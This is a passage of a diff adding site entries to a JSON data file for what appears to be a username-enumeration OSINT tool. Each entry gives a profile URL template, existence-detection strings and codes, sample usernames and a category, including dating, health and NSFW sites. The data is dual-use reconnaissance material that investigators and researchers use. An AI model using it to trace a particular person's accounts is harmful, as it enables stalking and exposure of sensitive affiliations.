"\"statusCode\":404", + "m_code": 404, + "known": [ + "anne", + "alex" + ], + "cat": "social" + }, + { + "name": "linux.org.ru", + "uri_check": "https://www.linux.org.ru/people/{account}/profile", + "e_code": 200, + "e_string": "Дата регистрации", + "m_string": "Пользователя не существует", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "tech" + }, + { + "name": "Livejournal", + "uri_check": "https://{account}.livejournal.com", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Unknown Journal", + "m_code": 404, + "known": [ + "jill", + "john" + ], + "cat": "blog" + }, + { + "name": "livemaster.ru", + "uri_check": "https://www.livemaster.ru/{account}", + "e_code": 200, + "e_string": "Магазин мастера", + "m_string": "<title>Вы попали на несуществующую страницу", + "m_code": 404, + "known": [ + "redart", + "ellentoy" + ], + "cat": "shopping" + }, + { + "name": "lobste.rs", + "uri_check": "https://lobste.rs/u/{account}", + "e_code": 200, + "e_string": "Joined", + "m_string": "The resource you requested was not found, or the story has been deleted.", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "tech" + }, + { + "name": "LoLProfile", + "uri_check": "https://lolprofile.net/search/world/{account}-world", + "e_code": 200, + "e_string": "class=\"content sw\">", + "m_string": "We could not find any results, please try again later or check your input.", + "m_code": 200, + "known": [ + "bea", + "wild" + ], + "cat": "gaming" + }, + { + "name": "Lor.sh (Mastodon Instance)", + "uri_check": "https://lor.sh/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://lor.sh/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "dump_stack", + "lamountain" + ], + "cat": "social" + }, + { + "name": "lowcygier.pl", + "uri_check": "https://bazar.lowcygier.pl/user/{account}", + "e_code": 200, + "e_string": "Zarejestrowany", + "m_string": "Błąd 404 - Podana strona nie istnieje", + "m_code": 404, + "known": [ + "armin", + "janek" + ], + "cat": "gaming" + }, + { + "name": "MAGABOOK", + "uri_check": "https://magabook.com/{account}", + "e_code": 200, + "e_string": "Timeline", + "m_string": "", + "m_code": 302, + "known": [ + "KristenSuzanne", + "mikeflbmer" + ], + "cat": "social" + }, + { + "name": "Magix", + "uri_check": "https://www.magix.info/us/users/profile/{account}/", + "e_code": 200, + "e_string": "About me", + "m_string": "Page not found", + "m_code": 200, + "known": [ + "baywolfmusic", + "johnebaker" + ], + "cat": "music" + }, + { + "name": "Malpedia Actors", + "uri_check": "https://malpedia.caad.fkie.fraunhofer.de/actor/{account}", + "e_code": 200, + "e_string": "href=\"/actors\"", + "m_string": "Page not Found.", + "m_code": 404, + "known": [ + "USDoD", + "AeroBlade" + ], + "cat": "tech" + }, + { + "name": "MapMyTracks", + "uri_check": "https://www.mapmytracks.com/{account}", + "e_code": 200, + "e_string": "Daily distance this week", + "m_string": "Outside together", + "m_code": 302, + "known": [ + "ulirad", + "CBSloan" + ], + "cat": "health" + }, + { + "name": "Mapstodon.space (Mastodon Instance)", + "uri_check": "https://mapstodon.space/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://mapstodon.space/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Autumnhussar", + "jeremy" + ], + "cat": "social" + }, + { + "name": "Maroc_nl", + "uri_check": "https://www.maroc.nl/forums/members/{account}.html", + "e_code": 200, + "e_string": "Bekijk Profiel:", + "m_string": "Deze gebruiker is niet geregistreerd", + "m_code": 200, + "known": [ + "brahim", + "brahim01" + ], + "cat": "social" + }, + { + "name": "Marshmallow", + "uri_check": "https://marshmallow-qa.com/{account}", + "e_code": 200, + "e_string": "さんにメッセージをおくる", + "m_string": "For compensation, here are cats for you.", + "m_code": 404, + "known": [ + "yuino_fox", + "momo" + ], + "cat": "social" + }, + { + "name": "Martech", + "uri_check": "https://martech.org/author/{account}/", + "e_code": 200, + "e_string": "twitter:site", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "mani-karthik", + "james-green" + ], + "cat": "business" + }, + { + "name": "Massage Anywhere", + "uri_check": "https://www.massageanywhere.com/profile/{account}", + "e_code": 200, + "e_string": "<title>MassageAnywhere.com Profile for ", + "m_string": "<title>MassageAnywhere.com: Search Results", + "m_code": 200, + "known": [ + "lorilmccluskey", + "LomiNYC" + ], + "cat": "health" + }, + { + "name": "masto.ai", + "uri_check": "https://masto.ai/@{account}", + "e_code": 200, + "e_string": "@masto.ai) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "rbreich", + "stux" + ], + "cat": "social" + }, + { + "name": "Masto.nyc (Mastodon Instance)", + "uri_check": "https://masto.nyc/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://masto.nyc/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "seano", + "jayjay718" + ], + "cat": "social" + }, + { + "name": "Mastodon API", + "uri_check": "https://mastodon.social/api/v2/search?q={account}&limit=1&type=accounts", + "uri_pretty": "https://mastodon.social/api/v2/search?q={account}&type=accounts", + "e_code": 200, + "e_string": "display_name", + "m_string": "\"accounts\":[]", + "m_code": 404, + "known": [ + "Richard_Littler", + "webbreacher" + ], + "cat": "social" + }, + { + "name": "Mastodon-101010.pl", + "uri_check": "https://101010.pl/@{account}", + "e_code": 200, + "e_string": "@101010.pl", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "szekspir", + "xaphanpl" + ], + "cat": "social" + }, + { + "name": "Mastodon-C.IM", + "uri_check": "https://c.im/@{account}", + "e_code": 200, + "e_string": "@c.im) - C.IM", + "m_string": "The page you are looking for isn't here", + "m_code": 404, + "known": [ + "admin", + "paidugroup" + ], + "cat": "social" + }, + { + "name": "Mastodon-Chaos.social", + "uri_check": "https://chaos.social/@{account}", + "e_code": 200, + "e_string": "@chaos.social) - chaos.social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "dictvm", + "sml" + ], + "cat": "social" + }, + { + "name": "Mastodon-climatejustice.rocks", + "uri_check": "https://climatejustice.rocks/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://climatejustice.rocks/@{account}", + "e_code": 200, + "e_string": "username\":", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "paula", + "PaulaToThePeople" + ], + "cat": "social" + }, + { + "name": "Mastodon-Defcon", + "uri_check": "https://defcon.social/@{account}", + "e_code": 200, + "e_string": "- DEF CON Social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "defcon", + "buttersnatcher" + ], + "cat": "social" + }, + { + "name": "Mastodon-mastodon", + "uri_check": "https://mastodon.social/@{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "john", + "alex" + ], + "cat": "social" + }, + { + "name": "Mastodon-meow.social", + "uri_check": "https://meow.social/@{account}", + "e_code": 200, + "e_string": "- the mastodon instance for creatures fluffy, scaly and otherwise", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "meow", + "novra" + ], + "cat": "social" + }, + { + "name": "Mastodon-mstdn.io", + "uri_check": "https://mstdn.io/@{account}", + "e_code": 200, + "e_string": "@mstdn.io) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "mike", + "greg" + ], + "cat": "social" + }, + { + "name": "Mastodon-pol.social", + "uri_check": "https://pol.social/@{account}", + "e_code": 200, + "e_string": "@pol.social", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "ftdl", + "ducensor" + ], + "cat": "social" + }, + { + "name": "Mastodon-rigcz.club", + "uri_check": "https://rigcz.club/@{account}", + "e_code": 200, + "e_string": "@rigcz.club", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "blazej", + "adam" + ], + "cat": "social" + }, + { + "name": "Mastodon-social_tchncs", + "uri_check": "https://social.tchncs.de/@{account}", + "e_code": 200, + "e_string": "profile:username", + "m_string": "The page you are looking for isn't here", + "m_code": 301, + "known": [ + "michael", + "frank" + ], + "cat": "social" + }, + { + "name": "Mastodon-Toot.Community", + "uri_check": "https://toot.community/@{account}", + "e_code": 200, + "e_string": "@toot.community) - toot.community", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "Johnny", + "jorijn" + ], + "cat": "social" + }, + { + "name": "Mastodon.online", + "uri_check": "https://mastodon.online/@{account}", + "e_code": 200, + "e_string": "@mastodon.online) - Mastodon", + "m_string": "The page you are looking for isn't here.", + "m_code": 404, + "known": [ + "Gargron", + "RDHale" + ], + "cat": "social" + }, + { + "name": "Mastodonbooks.net (Mastodon Instance)", + "uri_check": "https://mastodonbooks.net/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://mastodonbooks.net/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "RogerRemacle", + "eugnick" + ], + "cat": "social" + }, + { + "name": "MCName (Minecraft)", + "uri_check": "https://mcname.info/en/search?q={account}", + "e_code": 200, + "e_string": "card mb-3 text-monospace", + "m_string": "alert alert-success px-0 py-1", + "m_code": 200, + "known": [ + "unrevive", + "nxtuny" + ], + "cat": "gaming" + }, + { + "name": "MCUUID (Minecraft)", + "uri_check": "https://playerdb.co/api/player/minecraft/{account}", + "uri_pretty": "https://mcuuid.net/?q={account}", + "e_code": 200, + "e_string": "Successfully found player by given ID.", + "m_string": "minecraft.api_failure", + "m_code": 200, + "known": [ + "smithy", + "bob" + ], + "cat": "gaming" + }, + { + "name": "Medium", + "uri_check": "https://medium.com/@{account}/about", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "Medium member since", + "m_string": "Out of nothing, something", + "m_code": 404, + "known": [ + "zulie", + "jessicalexicus" + ], + "cat": "news" + }, + { + "name": "medyczka.pl", + "uri_check": "http://medyczka.pl/user/{account}", + "e_code": 200, + "e_string": "Lista uzytkownikow", + "m_string": "This user has not registered and therefore does not have a profile to view.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "health" + }, + { + "name": "meet me", + "uri_check": "https://www.meetme.com/{account}", + "e_code": 200, + "e_string": "<title>Meet people like ", + "m_string": "<title>MeetMe - Chat and Meet New People</title", + "m_code": 302, + "known": [ + "john", + "marsha" + ], + "cat": "dating" + }, + { + "name": "Metacritic", + "uri_check": "https://www.metacritic.com/user/{account}/", + "e_code": 200, + "e_string": "class=\"c-pageProfile-wrapper\"", + "m_string": "class=\"c-error404\"", + "m_code": 404, + "known": [ + "Mcguy", + "goldzweig" + ], + "cat": "hobby" + }, + { + "name": "Minds", + "uri_check": "https://www.minds.com/api/v3/register/validate?username={account}", + "uri_pretty": "https://www.minds.com/{account}/", + "e_code": 200, + "e_string": "\"valid\":false", + "m_string": "\"valid\":true", + "m_code": 200, + "known": [ + "gigan996", + "mindsgaming" + ], + "cat": "social" + }, + { + "name": "Minecraft List", + "uri_check": "https://minecraftlist.com/players/{account}", + "e_code": 200, + "e_string": "-->was seen on<!--", + "m_string": "0 Minecraft servers recently", + "m_code": 200, + "known": [ + "fear837", + "dream" + ], + "cat": "gaming" + }, + { + "name": "mintme", + "uri_check": "https://www.mintme.com/token/{account}", + "e_code": 200, + "e_string": "token | mintMe", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "john", + "crypto" + ], + "cat": "finance" + }, + { + "name": "Mistrzowie", + "uri_check": "https://mistrzowie.org/user/{account}", + "e_code": 200, + "e_string": "Profil użytkownika", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Mix", + "uri_check": "https://mix.com/{account}/", + "e_code": 200, + "e_string": "<title>@", + "m_string": "The best content from the open web, personalized.", + "m_code": 302, + "known": [ + "test", + "mixpicks" + ], + "cat": "social" + }, + { + "name": "Mixcloud", + "uri_check": "https://api.mixcloud.com/{account}/", + "uri_pretty": "https://www.mixcloud.com/{account}/", + "e_code": 200, + "e_string": "\"username\":", + "m_string": "\"error\":", + "m_code": 404, + "known": [ + "DjHunnyBee", + "vegarecords" + ], + "cat": "music" + }, + { + "name": "Mixi", + "uri_check": "https://mixi.jp/view_community.pl?id={account}", + "e_code": 200, + "e_string": "| mixiコミュニティ", + "m_string": "データがありません", + "m_code": 200, + "known": [ + "2854333", + "19123" + ], + "cat": "social" + }, + { + "name": "Mixlr", + "uri_check": "https://api.mixlr.com/users/{account}", + "uri_pretty": "https://mixlr.com/{account}/", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "\"error\":\"Resource not found\"", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "music" + }, + { + "name": "Mmorpg", + "uri_check": "https://forums.mmorpg.com/profile/{account}", + "e_code": 200, + "e_string": "MMORPG.com Forums", + "m_string": "404 Not Not_Found", + "m_code": 404, + "known": [ + "TheDalaiBomba", + "MadLovin" + ], + "cat": "gaming" + }, + { + "name": "MobileGTA.net", + "uri_check": "https://www.mobilegta.net/en/user/{account}", + "e_code": 200, + "e_string": "userpage_user", + "m_string": "

404 Not Found", + "m_code": 200, + "known": [ + "daniel", + "franco" + ], + "cat": "gaming" + }, + { + "name": "Mod DB", + "uri_check": "https://www.moddb.com/html/scripts/autocomplete.php?a=username&q={account}", + "uri_pretty": "https://www.moddb.com/members/{account}", + "e_code": 200, + "e_string": "\"available\":false", + "m_string": "\"available\":true", + "m_code": 200, + "known": [ + "sprinklesoup", + "emargy" + ], + "cat": "gaming" + }, + { + "name": "MODX.im", + "uri_check": "https://modx.evo.im/profile/{account}/", + "e_code": 200, + "e_string": "class=\"profile\"", + "m_string": "class=\"content-error\"", + "m_code": 404, + "known": [ + "Grinyaha", + "kymage" + ], + "cat": "tech" + }, + { + "name": "Monkeytype", + "uri_check": "https://api.monkeytype.com/users/{account}/profile", + "uri_pretty": "https://monkeytype.com/profile/{account}", + "e_code": 200, + "e_string": "\"message\":\"Profile retrieved\"", + "m_string": "\"message\":\"User not found\"", + "m_code": 404, + "known": [ + "rocket", + "risenrelic" + ], + "cat": "coding" + }, + { + "name": "Moto Trip", + "uri_check": "https://moto-trip.com/profil/{account}", + "e_code": 200, + "e_string": "

Profil de ", + "m_string": "

Page introuvable

", + "m_code": 404, + "known": [ + "aesthetics", + "pif" + ], + "cat": "hobby" + }, + { + "name": "Motokiller", + "uri_check": "https://mklr.pl/user/{account}", + "e_code": 200, + "e_string": "Zamieszcza materiały od:", + "m_string": "Nie znaleziono użytkownika o podanym loginie.", + "m_code": 200, + "known": [ + "test", + "janek" + ], + "cat": "images" + }, + { + "name": "Moxfield", + "uri_check": "https://api2.moxfield.com/v1/users/{account}", + "uri_pretty": "https://www.moxfield.com/users/{account}", + "e_code": 200, + "e_string": "\"userName\":", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "gamer", + "Carlos01" + ], + "cat": "gaming" + }, + { + "name": "mssg.me", + "uri_check": "https://{account}.mssg.me/", + "e_code": 200, + "e_string": "property=\"og:title\"", + "m_string": "id=\"page_404\"", + "m_code": 404, + "known": [ + "drrry", + "david" + ], + "cat": "social" + }, + { + "name": "Muck Rack", + "uri_check": "https://muckrack.com/{account}", + "e_code": 200, + "e_string": "on Muck Rack", + "m_string": "Oh no! Page not found.", + "m_code": 404, + "known": [ + "john" + ], + "cat": "news" + }, + { + "name": "Musician.social (Mastodon Instance)", + "uri_check": "https://musician.social/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://musician.social/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Alizar", + "weisjohan" + ], + "cat": "social" + }, + { + "name": "musictraveler", + "uri_check": "https://www.musictraveler.com/en/users/{account}/", + "e_code": 200, + "e_string": "on Music Traveler", + "m_string": "Page Not found", + "m_code": 404, + "known": [ + "dave", + "sarah" + ], + "cat": "music" + }, + { + "name": "MUYZORRAS", + "uri_check": "https://www.muyzorras.com/usuarios/{account}", + "e_code": 200, + "e_string": "og:title", + "m_string": "Error 404", + "m_code": 404, + "known": [ + "anuel", + "esteban" + ], + "cat": "xx NSFW xx" + }, + { + "name": "my_instants", + "uri_check": "https://www.myinstants.com/en/profile/{account}/", + "e_code": 200, + "e_string": " | Myinstants", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "daniel01", + "dave" + ], + "cat": "music" + }, + { + "name": "MyAnimeList", + "uri_check": "https://myanimelist.net/profile/{account}", + "e_code": 200, + "e_string": "Profile - MyAnimeList.net", + "m_string": "404 Not Found", + "m_code": 404, + "known": [ + "test", + "admin" + ], + "cat": "social" + }, + { + "name": "MyBuilder.com", + "uri_check": "https://www.mybuilder.com/profile/view/{account}", + "e_code": 200, + "e_string": "feedback", + "m_string": "Whoops! You broke our site!", + "m_code": 404, + "known": [ + "blue", + "john" + ], + "cat": "social" + }, + { + "name": "MyFitnessPal Author", + "uri_check": "https://blog.myfitnesspal.com/author/{account}/", + "e_code": 200, + "e_string": "About the Author", + "m_string": "<title>Page not found ", + "m_code": 404, + "known": [ + "lauren-krouse", + "julia-malacoff" + ], + "cat": "health" + }, + { + "name": "MyFitnessPal Community", + "uri_check": "https://community.myfitnesspal.com/en/profile/{account}", + "e_code": 200, + "e_string": ">Last Active<", + "m_string": "User Not Found", + "m_code": 404, + "known": [ + "malibu927", + "L1zardQueen" + ], + "cat": "health" + }, + { + "name": "MyLot", + "uri_check": "https://www.mylot.com/{account}", + "e_code": 200, + "e_string": "on myLot", + "m_string": " / Whoops!", + "m_code": 404, + "known": [ + "Tampa_girl7" + ], + "cat": "social" + }, + { + "name": "MYM", + "uri_check": "https://mym.fans/{account}", + "e_code": 200, + "e_string": "class=\"page profile\"", + "m_string": "class=\"page page-404\"", + "m_code": 404, + "known": [ + "Unmissabl", + "Nicolasmauranmedium" + ], + "cat": "social" + }, + { + "name": "MyNickname", + "uri_check": "https://mynickname.com/en/search?q={account}", + "e_code": 200, + "e_string": "nickname found:

", + "m_string": "

Nickname not found. Try searching for similar nicknames.

", + "m_code": 200, + "known": [ + "tw1st", + "0xDEFACED" + ], + "cat": "misc" + }, + { + "name": "myportfolio", + "uri_check": "https://{account}.myportfolio.com/work", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "class=\"page-title", + "m_string": "Adobe Portfolio | Build your own personalized website", + "m_code": 302, + "known": [ + "artkonina", + "fox" + ], + "cat": "misc" + }, + { + "name": "MySpace", + "uri_check": "https://myspace.com/{account}", + "e_code": 200, + "e_string": "", + "m_string": "", + "m_code": 404, + "known": [ + "alice", + "bob" + ], + "cat": "social" + }, + { + "name": "Myspreadshop", + "uri_check": "https://myspreadshop.de/{account}/shopData/list", + "uri_pretty": "https://{account}.myspreadshop.com", + "e_code": 200, + "e_string": "siteName", + "m_string": "not found", + "m_code": 404, + "known": [ + "arukori", + "honey" + ], + "cat": "business" + }, + { + "name": "myWishBoard", + "uri_check": "https://mywishboard.com/@{account}", + "e_code": 200, + "e_string": "class=\"MwbUserHeader\"", + "m_string": "class=\"MwbError\"", + "m_code": 404, + "known": [ + "ke7_2024", + "alekseevvasil" + ], + "cat": "shopping" + }, + { + "name": "naija_planet", + "uri_check": "https://naijaplanet.com/{account}", + "e_code": 200, + "e_string": "dating Profile, ", + "m_string": "- NaijaPlanet!", + "m_code": 200, + "known": [ + "daniel01", + "wales73" + ], + "cat": "dating" + }, + { + "name": "nairaland", + "uri_check": "https://www.nairaland.com/{account}", + "e_code": 200, + "e_string": "s Profile", + "m_string": "404: Page Not Found", + "m_code": 301, + "known": [ + "amakaone", + "seun" + ], + "cat": "news" + }, + { + "name": "NaturalNews", + "uri_check": "https://naturalnews.com/author/{account}/", + "e_code": 200, + "e_string": "All posts by", + "m_string": "The page you are looking for cannot be found or is no longer available.", + "m_code": 200, + "known": [ + "jdheyes", + "healthranger" + ], + "cat": "political" + }, + { + "name": "Naver", + "uri_check": "https://blog.naver.com/{account}", + "e_code": 200, + "e_string": " : 네이버 블로그", + "m_string": "페이지를 찾을 수 없습니다", + "m_code": 500, + "known": [ + "bob", + "blue" + ], + "cat": "social" + }, + { + "name": "Neocities", + "uri_check": "https://neocities.org/site/{account}", + "e_code": 200, + "e_string": "noindex, follow", + "m_string": "- Not Found", + "m_code": 404, + "known": [ + "fauux", + "sadgrl" + ], + "cat": "social" + }, + { + "name": "netvibes", + "uri_check": "https://www.netvibes.com/{account}", + "e_code": 200, + "e_string": "userId", + "m_string": "Page not found", + "m_code": 404, + "known": [ + "nebkacrea", + "cdiljda" + ], + "cat": "social" + }, + { + "name": "Newgrounds", + "uri_check": "https://{account}.newgrounds.com/", + "strip_bad_char": ".", + "e_code": 200, + "e_string": "user-header-name", + "m_string": "Whoops, that's a swing and a miss!", + "m_code": 404, + "known": [ + "john", + "bob" + ], + "cat": "gaming" + }, + { + "name": "newmeet", + "uri_check": "https://www.newmeet.com/en/profile/{account}/", + "e_code": 200, + "e_string": "

The profile of", + "m_string": "Chat with , , , - ", + "m_code": 200, + "known": [ + "Harmonie06", + "Bach007" + ], + "cat": "dating" + }, + { + "name": "Nifty Gateway", + "uri_check": "https://api.niftygateway.com/user/profile-and-offchain-nifties-by-url/?profile_url={account}", + "uri_pretty": "https://www.niftygateway.com/profile/{account}/", + "e_code": 200, + "e_string": ""didSucceed": true", + "m_string": ""didSucceed": false", + "m_code": 400, + "known": [ + "kobej", + "exolorian" + ], + "cat": "social" + }, + { + "name": "Nightbot", + "uri_check": "https://api.nightbot.tv/1/channels/t/{account}", + "uri_pretty": "https://nightbot.tv/t/{account}/commands", + "e_code": 200, + "e_string": "\"status\":200", + "m_string": "\"status\":404", + "m_code": 404, + "known": [ + "saevid", + "proxyfox" + ], + "cat": "social" + }, + { + "name": "nihbuatjajan", + "uri_check": "https://www.nihbuatjajan.com/{account}", + "e_code": 200, + "e_string": ") | Nih buat jajan", + "m_string": "Nih Buat Jajan", + "m_code": 302, + "known": [ + "banyusadewa", + "danirachmat" + ], + "cat": "social" + }, + { + "name": "Nitecrew (Mastodon Instance)", + "uri_check": "https://nitecrew.rip/api/v1/accounts/lookup?acct={account}", + "uri_pretty": "https://nitecrew.rip/@{account}", + "e_code": 200, + "e_string": "display_name", + "m_string": "Record not found", + "m_code": 404, + "known": [ + "Myxx", + "honey" + ], + "cat": "social" + }, + { + "name": "nnru", + "uri_check": "https://{account}.www.nn.ru", + "strip_bad_char": ".", + "e_code": 200, + "e_string": " ", + "m_string": "<title>Ошибка 404 -", + "m_code": 404, + "known": [ + "lena", + "slava" + ], + "cat": "social" + }, + { + "name": "NotABug", + "uri_check": "https://notabug.org/{account}", + "e_code": 200, + "e_string": "class=\"user profile\"", + "m_string": "alt=\"404\"", + "m_code": 404, + "known": [ + "notabug", + "hp", + "zPlus" + ], + "cat": "coding" + }, + { + "name": "Note", + "uri_check": "https://note.com/{account}", + "e_code": 200, + "e_string": "フォロワー", + "m_string": "お探しのページが見つかりません。", + "m_code": 404, + "known": [ + "honey", + "yui" + ], + "cat": "social" + }, + { + "name": "npm", + "uri_check": "https://www.npmjs.com/~{account}", + "e_code": 200, + "e_string": "\"id\":", + "m_string": "<h1>not found</h1>", + "m_code": 404, + "known": [ + "npm", + "rich_harris" + ], + "cat": "coding" + }, + { + "name": "oglaszamy24h.pl", + "uri_check": "https://oglaszamy24h.pl/profil,{account}", + "e_code": 200, + "e_string": "Profil użytkownika:", + "m_string": "Nieprawidłowy link, w bazie danych nie istnieje użytkownik o podanym loginie", + "m_code": 404, + "known": [ + "kowal", + "janek" + ], + "cat": "shopping" + }, + { + "name": "ok.ru", + "uri_check": "https://ok.ru/{account}", + "e_code": 200, + "e_string": "| OK", + "m_string": "class=\"p404_t", + "m_code": 404, + "known": [ + "john", + "aleksandrvasillev" + ], + "cat": "social" + }, + { + "name": "okidoki", + "uri_check": "https://m.okidoki.ee/ru/users/{account}/", + "e_code": 200, + "e_string": "Пользователь", + "m_string": "Страница не найдена", + "m_code": 404, + "known": [ + "nastya3", + "nastya" + ], + "cat": "misc" + }, + { + "name": "omg.lol", + "uri_check": "https://api.omg.lol/address/{account}/info", + "uri_pretty": "https://{account}.omg.lol", + "strip_bad_char": "@.", + "e_code": 200, + "e_string": "\"success\": true", + "m_string": "\"success\": false", + "m_code": 200, + "known": [ + "cwa", + "adam" + ], + "cat": "social" + }, + { + "name": "OnlySearch (OnlyFans)", + "uri_check": "https://onlysearch.co/api/search?keyword={account}", + "uri_pretty": "https://onlysearch.co/profiles?keyword={account}", + "e_code": 200, + "e_string": "\"hits\":[{", + "m_string": "\"hits\":[]", + "m_code": 200, + "known": [ + "miaimani", + "milaamour" + ], + "cat": "xx NSFW xx" + }, + { + "name": "Opencollective", + "uri_check": "https://opencollective.com/{account}", + "e_code": 200, + "e_string": "- Open Collective", + "m_string": "Not Found", + "m_code": 200, + "known": [ + "john", + "bob" + ], + "cat": "finance" + }, + { + "name": "OpenSource", + "uri_check": "https://opensource.com/users/{account}", + "e_code": 200, + "e_string": "\"contentID\":", + "m_string": "\"errorCode\": \"404\"", + "m_code": 404, + "known": [ + "wuweijie", + "alansmithee" + ], + "cat": "tech" + }, + { + "name": "OpenStreetMap", + "uri_check": "https://www.openstreetmap.org/user/{account}", + "e_code": 200, + "e_string": "Mapper since:", + "m_string": "does not exist", + "m_code": 404, + "known": [ + "kemkim", + "MapmasterBit" + ], + "cat": "social" + }, + { + "name": "OpenStreetMap Wiki", + "uri_check": "https://wiki.openstreetmap.org/w/api.php?action=query&format=json&list=users&ususers={account}", + "uri_pretty": "https://wiki.openstreetmap.org/wiki/User:{account}", + "e_code": 200, + "e_string": "\"userid\":", + "m_string": "\"missing\":\"\"", + "m_code": 200, + "known": [ + "kemkim", + "john" + ], + "cat": "social" + }, + { + "name": "Oper.ru", + "uri_check": "https://oper.ru/visitors/info.php?t={account}", + "e_code": 200, + "e_string": "Информация о пользователе", + "m_string": "Нет такого пользователя", + "m_code": 200, + "known": [ + "Goblin", + "Баир Иринчеев" + ], + "cat": "tech" + }, + { + "name": "OPGG", + "uri_check": "https://eune.op.gg/summoners/eune/{account}", + "e_code": 200, + "e_string": "- Summoner Stats - League of Legends", + "m_string": "Guide - OP.GG", + "m_code": 200, + "known": [ + "xin", + "carlos01" + ], + "cat": "gaming" + }, + { + "name": "Orbys", + "uri_check": "https://orbys.net/{account}", + "e_code": 200, + "e_string": "profile_user_image", + "m_string": "The page you are looking for cannot be found.", + "m_code": 404, + "known": [ + "txmustang302" + ], + "cat": "social" + }, + { + "name": "Origins.Habbo.com", + "uri_check": "https://origins.habbo.com/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "john", + "jane" + ], + "cat": "gaming" + }, + { + "name": "Origins.Habbo.com.br", + "uri_check": "https://origins.habbo.com.br/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "carlos", + "pedro" + ], + "cat": "gaming" + }, + { + "name": "Origins.Habbo.es", + "uri_check": "https://origins.habbo.es/api/public/users?name={account}", + "e_code": 200, + "e_string": "uniqueId", + "m_string": "not-found", + "m_code": 404, + "known": [ + "carlos", + "mary" + ], + "cat": "gaming" + }, + { + "name": "osu!", + "uri_check": "https://osu.ppy.sh/users/{account}", + "e_code": 302, + "e_string": "", + "m_string": "User not found! ;_;", + "m_code": 404, + "known": [ + "stretches", + "spiken8" + ], + "cat": "gaming" + }, + { + "name": "Our Freedom Book", + "uri_check": "https://www.ourfreedombook.com/{account}", + "e_code": 200, + "e_string": "meta property=\"og:", + "m_string": "Sorry, page not found", + "m_code": 302, + "known": [ + "DaveLipsky", + "StarlaJene" + ], + "cat": "social" + }, + { + "name": "ow.ly", + "uri_check": "http://ow.ly/user/{account}", + "e_code": 200, + "e_string": "Images", + "m_string": "404 error", + "m_code": 404, + "known": [ + "StopAdMedia", + "jokervendetti" + ], + "cat": "social" + }, + { + "name": "palnet", + "uri_check": "https://www.palnet.io/@{account}/", + "e_code": 200, + "e_string": "class=\"profile-cover\"", + "m_string": "Unknown user account!", + "m_code": 404, + "known": [ + "trincowski-pt", + "anggreklestari" + ], + "cat": "social" + }, + { + "name": "Parler", + "uri_check": "https://parler.com/user/{account}", + "e_code": 200, + "e_string": "People to Follow", + "m_string": "join Parler today", + "m_code": 302, + "known": [ + "DineshDsouza", + "SeanHannity" + ], + "cat": "social" + }, + { + "name": "Parler archived posts", + "uri_check": "http://archive.org/wayback/available?url=https://parler.com/profile/{account}/posts", + "uri_pretty": "https://web.archive.org/web/2/https://parler.com/profile/{account}/posts", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "JoePags", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Parler archived profile", + "uri_check": "http://archive.org/wayback/available?url=https://parler.com/profile/{account}", + "uri_pretty": "https://web.archive.org/web/2/https://parler.com/profile/{account}", + "e_code": 200, + "e_string": "\"archived_snapshots\": {\"closest\"", + "m_string": "\"archived_snapshots\": {}", + "m_code": 200, + "known": [ + "JoePags", + "dineshdsouza" + ], + "cat": "archived" + }, + { + "name": "Pastebin", + "uri_check": "https://pastebin.com/u/{account}", + "e_code": 200, + "e_string": "class=\"user-view\"", + "m_string": "Not Found (#404)", + "m_code": 404, + "known": [ + "test", + "john" + ], + "cat": "tech" + }, + { + "name": "patch", + "uri_check": "https://patch.com/users/{account}", + "e_code": 200, + "e_string": "<title>Patch User Profile", + "m_string": "<title>Page not found", + "m_code": 404, + "known": [ + "dave", + "bob" + ], + "cat": "news" + }, + { + "name": "PatientsLikeMe", + "uri_check": "https://www.patientslikeme.com/members/{account}", + "e_code": 200, + "e_string": "s profile | PatientsLikeMe", + 